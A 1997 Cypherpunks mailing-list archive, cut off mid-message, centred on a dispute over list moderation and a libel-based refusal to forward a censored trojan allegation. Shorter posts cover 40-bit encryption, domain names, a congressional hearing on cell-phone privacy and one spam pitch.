Sandfort To: Against Moderation Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE? In-Reply-To: <19970207220720.15530.qmail at anon.lcs.mit.edu> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Hi, On 7 Feb 1997, Against Moderation wrote: > What I object to more strongly and think is wrong is the > fact that it went to *neither* list. Unfortunately, it's not as simple as that. As soon as I can arrange it with John, I am going to stop moderating the list. In the interim, I *will not* be sending your post onto either the Flames or the Moderated lists. This is done for legal reason. As it is, you have already published a libel on the unedited list by repeating Dimitri's libel. This exposes you to legal liability, but as an anonymous poster, you are somewhat insulated from the consequences of your act. If you would like to PRIVATELY discuss this matter with me, I would not mind going into more detail with you. Suffice it to say, I any re-publication by me of Dimitri's libel would expose John and myself to legal liability and could also act to insulate Dimitri from liability as a result of CENSOREDCENSOREDCE NSOREDCENDOREDCENDOREDC. Take care, S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ======== -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvwBkICHQnqYPZ9VAQGf+gP/cCw3gs23pL36RIi7OTRpZaM8E7D55hVE I7H8VX4u9TdWpPJPw0Q+ZqftRxn2Ancf/6RzqZA03jSnNCqUqkEhrPSTnq4qmZmx M+BGMI/3Y3Gl3Aj7YQhpcQLEaCLMMkQ4ddG5VVujeFwMs8gWt8Zi80aytD5dLenF ykV0cj2DsWs= =ezEz -----END PGP SIGNATURE----- From roy at sendai.scytale.com Fri Feb 7 20:36:01 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Fri, 7 Feb 1997 20:36:01 -0800 (PST) Subject: Metzger, Denninger square off In-Reply-To: <199702072121.NAA01093@toad.com> Message-ID: <970207.180426.4i8.rnr.w165w@sendai.scytale.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, ericm at lne.com writes: > Damaged Justice writes: >> administration about this." Barring that, Denninger will lobby >> Internet service providers around the country, asking them not to >> recognize the new GTLDs. "There is no reason to support it. We will do >> everything in our power to convince ISPs not to go along," he says. > If I didn't already think that Karl was an idiot, I'd sure think so after > reading this. Concur. When I went after my domain name last year, I was effectively forced into taking a .com, which was the _last_ TLD I wanted. (first choice was .net, but that's supposedly now only given to ISPs) I'd happily accept scytale.nom, especially since it's doubly cryptic. - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvvDqBvikii9febJAQE23AQAle+xfNgFCof8CjIDD1VxKv62TbHz5itj 7z2aAPaOD9IT812heFSKn+wYteETpWKWy6iGI/cKyR4siEtqJq2IiqaEs6bjSkIL 2C2ErK0FaKmnW14rUNX2XdSGHlqBGfh3rkjKM5UrHd+PBakNQKIIByPvTxn/Stsl /XzWZBZyAG0= =qAs2 -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Fri Feb 7 20:41:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Fri, 7 Feb 1997 20:41:09 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702080441.UAA09218@toad.com> At 09:37 AM 2/7/97 -0500, Vin McLellan wrote: > Now, an international institution which buys and bets the bank upon >US-exportable (40-bit) cryptography probably deserves what it has bought: > [...] even 56-bit keys -- whatever the algorithm! -- offer only "minimal" security. >(What Goldberg did in hours, many could do in a days or weeks with much >less equipment. You don't bet the bank on 40-bit crypto, unless you're, ummm, accepting credit cards over wimp-configured sessions of SSL. (You, as merchant, may not lose if there's a forgery, and your customer's loss may be limited to $50, but the bank's loss isn't limited except by how fast they can block thieves.) While banks get Extra Slack on crypto exports, and can use 56-bit DES, they've got more serious adversaries - building a $1M machine to win a $1000 contest is a bit expensive for the average grad student, but it's a perfectly reasonable investment if you're planning to rob banks of millions of dollars with it, especially if you think you can either siphon the money off slowly while hitting a lot of banks or else make a really big haul all at once. Banks aren't the only kind of company with big money floating around; stockbrokers, commodities traders, purchasing departments of big companies that might not notice that they're buying a few percent more parts, and all sorts of other large companies are targets for crypto-cracking thieves. Because well-funded thieves can do this kind of financial damage, we have a legitimate-sounding spin on "Federal law enforcement's job includes preventing large-scale theft, and they're letting their political agenda get in the way of doing their job. Sure, 56-bit keys are harder to crack than 40, but well-funded crackers could use the same techniques Ian did." Either method of theft requires being non-stupid enough not to get caught afterwards (like the $(24?)M computerized bank job last year), and having your "partners" not rip you off; a big heist also risks detection by tracking chip purchases, and provoking the Feds into banning "ASIC Laundering" and criminalizing illegal possesion of field-programmable gate arrays and such paranoid silliness. ..>> the same Strassmann Yeah, him :-) > (It was a usefully overheated hook for some article on compsec, but >I don't think I ever used it. Reminded me too much of warnings that >someone was bound to someday taint the city water reservoir with LSD;-) But we _were_ planning to enhance the water that way, back in the 60s! :-) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From markm at voicenet.com Fri Feb 7 20:45:40 1997 From: markm at voicenet.com (Mark M.) Date: Fri, 7 Feb 1997 20:45:40 -0800 (PST) Subject: Sandy suppresses truth about his moderation policy In-Reply-To: <199702080114.TAA06881@manifold.algebra.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Fri, 7 Feb 1997, Igor Chudov @ home wrote: > Below are some interesting facts implying that: > > 1) Sandy uses a bot to reject articles of people he does not like I see no evidence to substantiate this claim. People who would be most likely to get auto-blocked have managed to get at least one post sent to the moderated list. > 2) When I exposed him with an article showing all Received: dates, > he > a) rejected the article exposing him The only thing your previous post proved is that toad.com has a very little delay between receiving and sending mail to cypherpunks-unedited. Notice that the post in question does not have an altered Message-Id and the sender is set to owner-cypherpunks, not owner-cypherpunks-unedited which appears in all messages sent to the flames list. > and > b) changed his moderation software so that Received: headers > for the cypherpunks-flames do not show the times when > messages came in The modification was made after there was the problem of the received headers exposing the supposedly secret outgoing destination address of the moderated list. This change was certainly made before February 6, the date the post in question was posted. Also, John would have made this modification; not Sandy. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvwF/CzIPc7jvyFpAQE0lwf8Dx8bY2WUKDZQ4piOc0XRgY0LpbCOcbXZ FGMOlR9o1Hk9Z3DlCtNReM1YF9WoeHkc4Z6wDtDu0XJunB5Rj4Hwa1qZmvY2a2S/ IkkBDp+RyA1QpTsEU1fQjNJR0LQBoIa/fVKyAzKJSD66tCHHneIvc4IrXAciobE1 9WX+h6r5wBjXkVEI9mgehrprqBRIRaNgURunyCavbXPbiEoS7bflBfKBLurj7OQf uAERvyX6YYv7ZaycV9Qjx33ozrSrMzARbahx+ryWrO5MUuoZ9fabyeS61xr141Cv QCPRyxq1Pl2TcJF2otpxpCuzoty4VzEONDib+O+BkNDPo9sGx8a/8w== =J1Sw -----END PGP SIGNATURE----- From ott0matic at hotmail.com Fri Feb 7 20:55:52 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Fri, 7 Feb 1997 20:55:52 -0800 (PST) Subject: What else do I need for an Internet Server Message-ID: <199702080455.UAA09531@toad.com> What else do I need for an internet server? HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high speed hard drives. These are the Tall Towers that have multiple drives, these are server towers. I think I have a router Hub. And a couple LAN cards. That's all I have. But I just got them, and I want to use them. I assume I will be using some kind of UNIX software. Thanks: otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From roy at sendai.scytale.com Fri Feb 7 20:55:53 1997 From: roy at sendai.scytale.com (Roy M. Silvernail) Date: Fri, 7 Feb 1997 20:55:53 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <199702080455.UAA09532@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In list.cypherpunks, ericm at lne.com writes: > Damaged Justice writes: >> administration about this." Barring that, Denninger will lobby >> Internet service providers around the country, asking them not to >> recognize the new GTLDs. "There is no reason to support it. We will do >> everything in our power to convince ISPs not to go along," he says. > If I didn't already think that Karl was an idiot, I'd sure think so after > reading this. Concur. When I went after my domain name last year, I was effectively forced into taking a .com, which was the _last_ TLD I wanted. (first choice was .net, but that's supposedly now only given to ISPs) I'd happily accept scytale.nom, especially since it's doubly cryptic. - -- Roy M. Silvernail [ ] roy at scytale.com DNRC Minister Plenipotentiary of All Things Confusing, Software Division PGP Public Key fingerprint = 31 86 EC B9 DB 76 A7 54 13 0B 6A 6B CC 09 18 B6 Key available from pubkey at scytale.com, which works now -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvvDqBvikii9febJAQE23AQAle+xfNgFCof8CjIDD1VxKv62TbHz5itj 7z2aAPaOD9IT812heFSKn+wYteETpWKWy6iGI/cKyR4siEtqJq2IiqaEs6bjSkIL 2C2ErK0FaKmnW14rUNX2XdSGHlqBGfh3rkjKM5UrHd+PBakNQKIIByPvTxn/Stsl /XzWZBZyAG0= =qAs2 -----END PGP SIGNATURE----- From cypherp at decode.com Fri Feb 7 21:08:36 1997 From: cypherp at decode.com (Dan Veeneman) Date: Fri, 7 Feb 1997 21:08:36 -0800 (PST) Subject: Congressional cell phone security hearing Message-ID: <5LHs2D1w165w@decode.com> Hyperbole flew hot and heavy during a February 5 hearing on cellular telephone privacy chaired by Louisiana Republican Billy Tauzin. The House Commerce Subcommittee on Telecommunications, Trade, and Consumer Protection held a hearing titled "Is anybody listening? You betcha." Subcommittee members were shocked, just shocked to learn that, according to a hyper-animated Thomas Wheeler (president of the Cellular Telephone Industry Association), Americans are engaged in "electronic stalking" of cellular telephone users. Further details of CSPAN pandering and Ed Markey's (D-MA) Humpty Dumpty imitation ("words mean whatever I want them to mean") elided. Some notable moments: Representative Cliff Stearns (R-FL), during a discussion about encryption, called PGP "a darn good program." Jay Kitchen, head of the Personal Communications Industry Association, related an (apocryphal?) story about MI5 requiring 2 Crays to run for 3 days to break a single GSM. Jim Kallstrom, Assistant Director FBI and head of the New York field office, woodenly delivered his (IMHO unfocused) testimony and reported that on the first day of the TWA Flight 800 crash investigation he determined that the news media knew more than they should, so he confiscated the cell phones of the FBI agents and locked them away, under the (reasonable) presumption that reporters were listening to FBI cell phone calls. Jimmy also reiterated the FBI line that their new wiretap requirements were reasonable and necessary to protect American citizens from terrorists. Dan dan at decode.com -- cypherp at decode.com (Dan Veeneman) Cryptography, Security, Privacy BBS +1 410 730 6734 Data/FAX From markm at voicenet.com Fri Feb 7 21:11:01 1997 From: markm at voicenet.com (Mark M.) Date: Fri, 7 Feb 1997 21:11:01 -0800 (PST) Subject: Sandy suppresses truth about his moderation policy Message-ID: <199702080511.VAA09788@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Fri, 7 Feb 1997, Igor Chudov @ home wrote: > Below are some interesting facts implying that: > > 1) Sandy uses a bot to reject articles of people he does not like I see no evidence to substantiate this claim. People who would be most likely to get auto-blocked have managed to get at least one post sent to the moderated list. > 2) When I exposed him with an article showing all Received: dates, > he > a) rejected the article exposing him The only thing your previous post proved is that toad.com has a very little delay between receiving and sending mail to cypherpunks-unedited. Notice that the post in question does not have an altered Message-Id and the sender is set to owner-cypherpunks, not owner-cypherpunks-unedited which appears in all messages sent to the flames list. > and > b) changed his moderation software so that Received: headers > for the cypherpunks-flames do not show the times when > messages came in The modification was made after there was the problem of the received headers exposing the supposedly secret outgoing destination address of the moderated list. This change was certainly made before February 6, the date the post in question was posted. Also, John would have made this modification; not Sandy. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMvwF/CzIPc7jvyFpAQE0lwf8Dx8bY2WUKDZQ4piOc0XRgY0LpbCOcbXZ FGMOlR9o1Hk9Z3DlCtNReM1YF9WoeHkc4Z6wDtDu0XJunB5Rj4Hwa1qZmvY2a2S/ IkkBDp+RyA1QpTsEU1fQjNJR0LQBoIa/fVKyAzKJSD66tCHHneIvc4IrXAciobE1 9WX+h6r5wBjXkVEI9mgehrprqBRIRaNgURunyCavbXPbiEoS7bflBfKBLurj7OQf uAERvyX6YYv7ZaycV9Qjx33ozrSrMzARbahx+ryWrO5MUuoZ9fabyeS61xr141Cv QCPRyxq1Pl2TcJF2otpxpCuzoty4VzEONDib+O+BkNDPo9sGx8a/8w== =J1Sw -----END PGP SIGNATURE----- From action at answerme.com Fri Feb 7 21:11:18 1997 From: action at answerme.com (action at answerme.com) Date: Fri, 7 Feb 1997 21:11:18 -0800 (PST) Subject: ** THE 30 SECOND COMMUTE ** Message-ID: <199702080511.VAA09794@toad.com> Hello,^Morons, Date: Fri, 7 Feb 1997 23:15:29 -0600 Message-Id: <05152934600809 at sitegen.net> WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE! Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell you about a little restaurant named McDonald's. If you had bought the stock that I was selling then, you'd certainly be doing the 30 second commute now!! Seriously, had you bought that stock then, it would've been the right decision. Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. What I want to know is: 1. Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself and family? 2. Would you trade $100 for $600 ? 3. If you got promoted to president of the company, would you accept? 4. Would you make the right decision now, if you had to? 5. Would you e-mail me to see how you can do the 30 second commute? mailto: action at answerme.com Matt Emerson Toll Free: 1 800-976-8608 Fax: 602 641-3514 InterNet Address: http://www.rb-dist.com From tcmay at got.net Fri Feb 7 21:37:26 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 21:37:26 -0800 (PST) Subject: The Frightening Dangers of Moderation In-Reply-To: <19970208043115.2364.qmail@anon.lcs.mit.edu> Message-ID: At 4:31 AM +0000 2/8/97, Against Moderation wrote: >-----BEGIN PGP SIGNED MESSAGE----- > >Well, folks, tonight I have witnessed the frightening dangers of >moderation and censorship first-hand, and would like to tell you what >has happened. I think there is an important lesson to be learned from >these incidents. (long account of getting legal threats for quoting a message about CENSORED elided) This is indeed an important incident. I hope we can discuss it. Many issues central to Cypherpunks are involved. To name a few: * the moderation/censorship issue itself (though we have probably beaten this one to death in the last few weeks). * the "libel" issue, especially as it involves Sandy, his company, and the machine the list is hosted from. The introduction of a censor has, as many of us predicted, raised serious libel and liability issues. (This is the best reason I can think of it to move to an "alt.cypherpunks" system, where bypassing of liability, libel, copyright violation, etc., laws is naturally handled by the globally decentralized and uncontrolled nature of Usenet.) * conflicts of interest issues. Apparently Sandy feels information deleterious to C2Net, having to do with a claimed CENSORED in the software product CENSORED, cannot be passed by him to _either_ of the two lists to which articles are supposed to be sent. (Sadly, he did not tell us of this meta-censorship when it happened. This made what he did deceptive as well as wrong.) * chilling of discussion. As "Against Moderation" notes, merely _quoting_ the article of another caused Sandy to not only reject his article, but also to contact him and raise the threat of legal action. (This even though Against Moderation added all sorts of "obviously false" comments to what Vulis had written.) * even more threats. At the request of CENSORED today, I called CENSORED and had a verbal communication with him (a nice guy, by the way) about this situation. He averred that "you don't want to be pulled into this," and suggested that if I post certain things, even quoting the reports that a CENSORED exists in CENSORED, I could well be sued by the lawyers of his company! These are issues which remailers, decentralized servers, anonymity, data havens, and other Cypherpunks technologies make important issues for us to discuss. When did Cypherpunks start thinking about libel? (Obvious answer: when _their_ companies were the targets of criticism, lies, libel, whatever.) It's not as if insulting or even "libelous" (I'm not a lawyer) comments have not been made routinely on the list. Insulting companies and other institutions has been standard Cypherpunks fare since the beginning. Mykotronx has been accused of high crimes, RSADSI has been declared to be placing backdoors in code, Phil Zimmermann has been declared to be an NSA plant ("only trust the versions of PGP before he cut the deal to get his freedom"), and so on. Think about it. Just about any company with any product related to crypto has at one time or another had their motives questioned, their products slammed, etc. Unfortunately, our Late Censor is an employee of one of the companies so slammed, and he has reacted by rejecting one or more of these slams without bothering to tell the list that he has to do so. (Were it me, I would have "recused" myself from the decision, or at least told the list in general terms what was going on, or, more likely, resigned as censor. But then I would never have been a list.censor in the first place.) I understand that Sandy is stepping down as our Moderator. The Censor is Dead, Long Live Sandy! I expect to harbor no continuing resentment toward Sandy (though I expect things will be strained for a while, as might be expected). The issues raised are ugly ones. Here's what scares me: the "precedent" may irretrievably be established that companies offended by words on the list will threaten legal action to recover their good name. I can imagine Mykotronx or even First Virtual citing the actions of C2Net as a precedent (a cultural precedent, to the extent there is such a thing) for their own legal letters. As with the terrible precedent set by the "even Cypherpunks had to censor themselves" experiment, these companies may be able to say "But even a Cypherpunk-oriented company realized that the antidote for damaging speech was not rebutting speech. No, these Cypherpunks realized that some threatening letters and pulling the plug on the speaker was a better approach." And we won't be able to easily argue that Mykotronx has no right to do this while C2Net does. Sandy, in his message a few hours ago to Against Moderation, even made the claim (and Sandy _is_ a lawyer, or at least once was) that John Gilmore could be held liable for speech on the Cypherpunks list. (I don't doubt the "could," but I hate like hell to see a Cypherpunkish company leading the charge.) Perhaps this is true. But the Censorship experiment, and the resulting threats of legal action by C2Net to stop mention of the alleged CENSORED in their product CENSORED, fuel the fire. Instead of denigrating such legal moves--as I'm sure most Cypherpunks would have done a few years ago if RSADSI were to try to sue people for making outrageous claims--we have a major company consisting of several leading Cypherpunks making just such threats. I'm not a legal scholar, but is it really the case that merely _alluding_ to the allegedly libelous comments of another is itself a libel? Is a reporter who writes that "Person X has alleged that Product Y has a Flaw Z" thus committing a libel? (I don't think so, as reporters frequently report such things. If merely quoting an alleged libel is also libel, then presumably a lot of reporters, and even court clerks reporting on cases, are libelers.) (ObLisp reference: quoting an expression ought to have a different return value than evaluating an expression! That's what quotes are for.) My comments this past week have not been motivated by animosity toward Sandy, and certainly my comments today are not motivated by any animosity about C2Net or any of its employees (including CENSORED, whom I spoke with today). My comments started out as being a summary of why I had left Cypherpunks when the Great Hijacking was announced. Since last Sunday, when I issued my "Moderation" post, I've only responded to messages I was CC:ed on, or to messages on the Flames list, which I subscribed to temporarily to better see what Sandy was calling flames. The discovery that certain posts were not appearing on either the Main list or the Flames list triggered today's comments about Sandy and the alleged CENSOREDCENSOREDCENSORED (blah blah blah). I hope we can declare this Censorship experiment a failure and move on. However, it is almost certain that as a result of attempts to suppress certain views, that the move back to an unfiltered state will mean that some will use anonymous remailers and nym servers to post even _more_ claims, however outrageous. This is a predictable effect. Cf. Psychology 101 for an explanation. Kicking Vulis off the list predictably produced a flood of Vulis workarounds, and a surge in insults via anonymous remailers. Instituting censorship of the list triggered a flood of comments critical of the experiment, and a predictable "testing" of the censorship limits. And, finally, now that C2Net is threatening legal action to stop discussion--even in quotes!!--of alleged CENSORED in CENSORED, expect a lot of repetition of these claims via remailers. And, I predict, claims about CENSORED will even be spread more widely, e.g., on the Usenet. (Sadly, I half expect a letter from some lawyers or lawyer larvae saying I am "suborning libel," or somesuch nonsense. As Sandy would say, "piffle." Lawyers, take your best shot.) Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From antimod at nym.alias.net Fri Feb 7 21:38:16 1997 From: antimod at nym.alias.net (Against Moderation) Date: Fri, 7 Feb 1997 21:38:16 -0800 (PST) Subject: The Frightening Dangers of Moderation Message-ID: <19970208053809.5070.qmail@anon.lcs.mit.edu> -----BEGIN PGP SIGNED MESSAGE----- > Date: Fri, 7 Feb 1997 20:54:05 -0800 (PST) > From: Sandy Sandfort > > Sir, Please don't assume anything about my sex. Do you think only men know how to use nym servers? > I asked you to keep our communications private. You did not do > so. I have nothing further to say to you. I understand your desire to keep this secret. Believe me, I know this must be an unpleasant situation for you. Nonetheless, I believe this issue is so important and relevant to the cypherpunks community that it outweighs your wish to keep it a secret. I respect the difficulty of your situation, and would not try to air this issue if I did not think exposing it immediately was of the utmost importance. Please, try to see this from as disinterested a point of view as possible. I know it's difficult being both the moderator and one of the parties involved in the dispute. However, we have a situation here where threats of libel have suppressed not only technical discussion of the actual software in question (which actually wouldn't be much of a discussion), but even discussion on the mechanics of moderation, something highly relevant to the list. Worse yet, people subscribed to the list DON'T EVEN KNOW that this discussion is being suppressed. We need to get this issue out, even if only in part. If my article was unacceptable, can you at least tell me which parts I should eliminate. I am willing to censor as much of it as I need to to get it published, as long as my main point gets accross. Surely you must agree that my main point doesn't have anything to do with the piece of software involved, right? Has it really come down to a situation where even the *fact* that some articles are being suppressed must be suppressed? Please. Think of the purpose of cypherpunks. Do the right thing. I am flexible. I will edit my article even more. But please, tell me what I can do to get it onto the main list. People need to know what is happening. I append my article here once again. If you really cannot accept it, at least tell me what I can change to get it accepted. Thank you. - -- To: cypherpunks at toad.com CC: tcmay at got.net Subject: The Frightening Dangers of Moderation Well, folks, tonight I have witnessed the frightening dangers of moderation and censorship first-hand, and would like to tell you what has happened. I think there is an important lesson to be learned from these incidents. Before I explain what has happened, I want to make one thing absolutely clear. Though I've thought the moderation of cypherpunks was a terrible idea from the start and am even more convinced of it now, I don't assign any blame to Sandy. I believe he offered to moderate the list with the best of intentions, and I sincerely appreciate his efforts to try to revive what was once a fantastic mailing list, even if in my opinion those efforts have backfired. Sandy has been a valuable advocate of cypherpunk beliefs and a lively contributor to cypherpunks list for a long time. Though the moderation experiment has resulted in some terrible consequences, we can't blame him for what has happened. If the events I have witnessed tonight occured with such a high-standing member of the cypherpunks community in charge, the cause of them can only be the very nature of moderation and censorship. I don't think any of us could have done much better in Sandy's shoes. Now, what happened tonight? As some of you may recall, a month or so ago I vehemently argued against the elimination of the cypherpunks-unedited mailingt list. Some people (though no one associated with toad.com) were claiming that 3 mailing lists might be too much load, and that having cypherpunks and cypherpunks-flames would be enough. I argued that not only would the delay of waiting for a decision put alternate cypherpunks moderators at a disadvantage, it would make it farm more difficult to convince people of the moderator's honesty as there would be no guarantee that messages made it to either list. Fortunately, cypherpunks-unedited did get created (it seems no one "in charge" ever intended not to create it). Well, as it turns out, a number of messages have made it neither to cypherpunks nor to cypherpunks-flames. Making matters worse, however, not only are certain messages being suppressed from both lists, but even messages mentioning that fact get suppressed from both the cypherpunks and the cypherpunks-flames lists! Here's exactly what happened. I was beginning to believe that Dmitri Vulis had sent an (admitedly objectionable) message to the cypherpunks mailing list, but that the message had gone to neither the cypherpunks nor the cypherpunks-flames lists. Since I was under the impression that every article was supposed to go to one list or the other, and many people probably still believe that, I mentioned this somewhat startling fact on the cypherpunks mailing list, I believe in response to a post by Tim May on the same subject. Tim replied (in a message Cc'ed to cypherpunks--though I don't think it went anywhere but to -unedited), asking me in the message, "Can you send to the list, with a copy to me, the articles CENSOREDCENSOREDCENS OREDCENSOREDCENSORE?" I therefore went back through my mail archives and found a copy of the message that I believed had gone to neither mailing list. I sent it to Tim and to cypherpunks. I prepended a few paragraphs in which I asked people to confirm that the message had gone to neither mailing list. Among other things in those paragraphs, I stated that Vulis's message was "verifiably false". It was clear from the context that I was forwarding this message to ask people which lists it had gone to, not because I believed the content to be correct or even at all convincing or interesting. That message I sent, quoting Vulis's, immediately follows this message, after the line '========'. Then, tonight, I received a message from Sandy, which I include below a second '========' marker. In that letter, Sandy had explicitly aknowledged not only that he had sent Vulis's letter to neither mailing list, but that he wouldn't send my letter to either mailing list, either! He claimed that he couldn't forward Vulis's message because it was libel, and accused me of committing libel simply by quoting Vulis's message, even though I explicitly stated that Vulis's message was verifiably false. Well, this travesty must exposed, even if I can't make known all the details for fear of libel charges. I am therefore forwarding everything I can to the cypherpunks mailing list, for all to see. As you can see, Vulis made unfounded and incorrect charges that a particular system contained a security hole. Believe me, if I could get into the details of the case I could convince you easily that his claim is not true. However, since even quoting that claim apparently opens me up to charges of libel, I can't give you the details. Thus, I have censored (by overriting original text with the letters CENSORED) any portion of quoted messages that might give you an indication of what system Vulis actually claimed had a security hole. This censorship should not, however, affect my main point, and the lesson that I hope we can all take away from this. When it comes down to it, the details of this case do not matter. What does matter is that even when the "good guys" attempt benign censorship, it can have frighteningly far-reaching effects on people's ability to discuss otherwise reasonable topics such as the mechanics of the cypherpunks list. I generally dislike censorship and moderation, but the consequences of the cypherpunks experiment have gone far beyond anything I could have imagined. In closing, let me reiterate that I don't think most of this is Sandy's, John's, or anyone else's fault. Given the knowledge I have of this case, I believe Sandy has unwittingly found himself ensnarled in a nasty legal situation where, for fear of legal reprisal he must block articles that he has a moral obligation to send to cypherpunks-flames. I certainly don't envy his position. [To moderator Sandy: I believe we must get the content of this message to the main cypherpunks mailing list. I have done everything I can to ensure that the message contains no libel. If, for some reason, you still can't send it on to the main cypherpunks mailing list, can you please tell me specifically which parts cause problems. I will the CENSOR them out and try again. This message contains important, highly relevant information for the cypherpunks community. Please help me do what it takes to get it accepted by the moderation process. Thanks.] ======== To: tcmay at got.net CC: cypherpunks at toad.com Chain: nym=antimod In-reply-to: (tcmay at got.net) Subject: Re: Is Sandy really censoring criticisms of CENSORCENSOREDCENSOREDC? Okay, I went through my old mail, and I'm fairly sure this is the message. I'm convinced it never went to the flames list, and now that I've found out I'm on the -unedited list after all, I think it probably didn't go to the regular cypherpunks list either. Can people on the various lists confirm this for me? Given the total lack of technical content, the flamey nature of the article, and the fact that it is verifiably false (CENSOREDCENSOREDC ENSOREDCENSOREDCE), I can see people arguing it should have gone to - -flames (though I would probably disagree). However, I don't want to debate that. What I object to more strongly and think is wrong is the fact that it went to *neither* list. A lot of people out there are subscribing to the cypherpunks-flames and cypherpunks lists thinking that they will see everything that gets rejected (albeit with a substantial delay). If this is not the case, it should be made clear. Otherwise, it's not moderation, but dishonesty. - -- >From cypherpunks-errors at toad.com Thu Jan 30 17:26:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Subject: Security alert!!! To: cypherpunks at toad.com Date: Thu, 30 Jan 97 16:15:21 EST Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id OAA18833; Thu, 30 Jan 1997 14:17:05 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id OAA18824; Thu, 30 Jan 1997 14:16:39 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA02017 for ; Thu, 30 Jan 97 16:57:10 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 30 Jan 97 16:19:19 EST for cypherpunks at toad.com Comments: All power to the ZOG! Message-Id: Sender: owner-cypherpunks at toad.com Precedence: bulk Lines: 19 WARNING: There's a rogue trojan horse out there on the internet CENSOREDCENS OREDCENSOREDCENSOREDCEN. It's actually a hacked-up version of CENSOR with a backdoor, which allows hackers (or whoever knows the backdoor) to steal credit card numbers and other confidentil information on the Internet. Be careful! Always use encryption. Do not send confidential information 9such as passwords and credit card numbers) to any site running the trojan horse CENSOREDCENS. In general, beware of "snake oil" security products and hacked-up versions of free software. Please repost this warning to all relevant computer security forums. - --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps ======== X-From: sandfort at crl.com Sat Feb 08 00:56:23 1997 Date: Fri, 7 Feb 1997 16:45:31 -0800 (PST) From: Sandy Sandfort To: Against Moderation Subject: Re: Is Sandy really censoring criticisms of CENSOREDCENSOREDCENSORE? In-Reply-To: <19970207220720.15530.qmail at anon.lcs.mit.edu> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Hi, On 7 Feb 1997, Against Moderation wrote: > What I object to more strongly and think is wrong is the > fact that it went to *neither* list. Unfortunately, it's not as simple as that. As soon as I can arrange it with John, I am going to stop moderating the list. In the interim, I *will not* be sending your post onto either the Flames or the Moderated lists. This is done for legal reason. As it is, you have already published a libel on the unedited list by repeating Dimitri's libel. This exposes you to legal liability, but as an anonymous poster, you are somewhat insulated from the consequences of your act. If you would like to PRIVATELY discuss this matter with me, I would not mind going into more detail with you. Suffice it to say, I any re-publication by me of Dimitri's libel would expose John and myself to legal liability and could also act to insulate Dimitri from liability as a result of CENSOREDCENSOREDCE NSOREDCENDOREDCENDOREDC. Take care, S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ======== -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvwRPoCHQnqYPZ9VAQF60gQAizQlcgLKHMviZclZZtGEHm0AcWjjhijr bj809X1/70+KUzfHXJ9vVt4Jc5nqJblKlWiuux/KnSsnAXT8C0pyaUpp1vARYE2C w78pMfZxNQRuo/0IYuHfEb/rhdGieLQbqFGkpN3gj9iRzU4jOE7/PFejJKLYckDT 7aP0LdeRS/8= =wCgj -----END PGP SIGNATURE----- From cypherp at decode.com Fri Feb 7 21:41:05 1997 From: cypherp at decode.com (Dan Veeneman) Date: Fri, 7 Feb 1997 21:41:05 -0800 (PST) Subject: Congressional cell phone security hearing Message-ID: <199702080541.VAA10378@toad.com> Hyperbole flew hot and heavy 